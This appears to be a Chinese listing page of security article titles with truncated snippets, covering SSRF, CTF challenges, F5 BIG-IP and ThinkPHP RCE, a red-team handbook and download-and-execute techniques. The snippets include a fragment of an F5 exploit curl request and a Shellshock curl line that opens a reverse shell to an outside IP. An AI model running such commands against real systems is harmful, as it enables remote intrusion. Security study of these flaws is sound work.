1. 漏洞简介 SSRF(Server-side Request Forge, 服务端请求伪造)。由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。 2. 漏洞利用自从...
2020年比赛题目集合
2020的一些题目集合 钓鱼杯easyseed注意 PHP 版本 easywebcut 和sleepphp 12345678910111213141516171819202122<?php$ch...
F5 BIG-IP iControl RCE (CVE-2021-22986)
PoC #1 curl -su admin: -H "Content-Type: application/json" http://[victimIP]/mgmt/tm/util/bash ...
yunfile网盘多线程破解
文章2013-8-20 13:42 发于t00ls引用rolling-curl 123456789101112131415161718192021222324252627282930313233343...
Thinkphp5.0.*之RCE漏洞分析
payload:1234567891011121314需要开启debug版本:payload1:第一次执行system:curl -v -d "_method=__construct&filt...
curl 的用法指南
简介curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思。它的功能非常强大,命令行参数多达几十种。如果熟练的话,完全可以取代 Postman...
红队攻防私人手册
私人手册 仅供参考(不定时更新)形而上学动作越少痕迹越少渗透过程中不要让目标的机器变卡数据一定要加密传输不要在物理机搞渗透不要用自己家的网搞渗透shell不会无缘无故的掉使用的工具讲究不卡不慢不弹信息...
通过命令下载执行恶意代码的几种姿势
文章来源:Bypass在渗透过程中,攻击者往往需要通过命令下载执行恶意代码,实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。在目标主机执行恶意代码,可以分为上传/下载并执...
漏洞公告 | 某办公软件 curls共享库堆溢出漏洞
AI赋能 助推网络安全智能化 漏洞说明: 产品:某办公软件 校园版 文件:curls.dll(7.64.1.0) 漏洞类型:堆溢出...
这些 Nginx 常见异常,帮你快速定位故障
提示:文章前面部分是关于 nginx 下 https 连接 curl 请求被 reset 的处理经历,不想看可以直接跳到最后看nginx快速定位异常,建议收藏!问题描述网站上线后,添加了https证书...
一次“SSRF-->RCE”的艰难利用
乐清小俊杰@Pentes7eam前言一次授权的渗透测试中,发现一处SSRF漏洞,可结合Redis实现RCE,看似近在咫尺,却又满路荆棘,经过不懈努力,最终达成目的。其中有几处比较有意思的地方,抽象出来...
CVE-2014-6271反弹shell
curl -A "() { :;}; /bin/bash -i >& /dev/tcp/61.51.xx.xx/8080 0>&1" http...
27